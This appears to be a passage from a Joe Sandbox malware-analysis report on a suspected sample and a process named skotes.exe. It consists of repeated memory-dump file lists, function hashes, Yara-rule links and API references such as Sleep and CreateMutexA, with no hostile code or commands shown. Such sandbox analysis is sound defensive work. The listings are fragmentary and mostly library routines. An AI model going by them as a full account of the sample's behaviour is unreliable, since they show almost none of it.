Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 9560de92614a468249d3e384dbce2a4af09bfc6a87d0391c844ce0e7f03ec74f
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 94E08C32921238EBCB14DB98E904D8AF7ECEB49B00B650096F505D3150C270DE00CBD4

Function 00AF2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AF2F5F
__Mtx_unlock.LIBCPMT ref: 00AF2FCC
__Cnd_broadcast.LIBCPMT ref: 00AF2FE3
__Mtx_unlock.LIBCPMT ref: 00AF30F5
__Mtx_unlock.LIBCPMT ref: 00AF319B

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: d1dba4f4a5ab89340771ccfcb9c57091215b36e0ccd89bab8bcfc8ee2d16352e
Instruction ID: a063eca7e2ca198758187e04ac4434b442b737094de3fa0169d05b9040995342
Opcode Fuzzy Hash: d1dba4f4a5ab89340771ccfcb9c57091215b36e0ccd89bab8bcfc8ee2d16352e
Instruction Fuzzy Hash: 88A1C3719012099FDF20DFA4C945B6ABBF8FF15354F0482AAF915D7681EB31EA04CB91

Function 00B2CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B2CC66

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 69b43b0b1128b619da433cef98642bcd362e34b6fdd2515ea1bcf89fff7ed09a
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: D3B126329002659FDB15DF28D8817AEBFE5EF55340F2541EAE859EB242D6349D02CB90

Function 00B0BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B0BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B0BBE4
_xtime_get.LIBCPMT ref: 00B0BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B0BC13

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 9e2a1cd9bc653f420cdcfa7024e916bf9e4fdc6b98ef452e0c52b05c8ec0f088
Instruction ID: 875b4027ed7a268da6d74ab1cacf25b08ab5f8306edb3cf063d8c5174e569fd3
Opcode Fuzzy Hash: 9e2a1cd9bc653f420cdcfa7024e916bf9e4fdc6b98ef452e0c52b05c8ec0f088
Instruction Fuzzy Hash: D1212C75A00219AFDF10EFA4DC81DBEBFB9EF09710F1001A5FA01A72A1DB719D059BA1

Analysis Process: skotes.exePID: 6568, Parent PID: 3440COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1949
Total number of Limit Nodes:	9

Executed Functions

Function 0062652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0062652A,?,?,?,?,?,00627661), ref: 00626567

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 45d3d852e86de2906f6c36f12fd43e894d0411d644c6dfc09daeb760518ab556
Instruction ID: 26d5f12a52cdef72fed0a47e9c9731b8f20c37425e1736a8fd533300cafbda63
Opcode Fuzzy Hash: 45d3d852e86de2906f6c36f12fd43e894d0411d644c6dfc09daeb760518ab556
Instruction Fuzzy Hash: 59E08C30112958AFCE29BB58E84D9993B2AEF11755F501804F80896222CB65ED82CE90

Function 005F9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
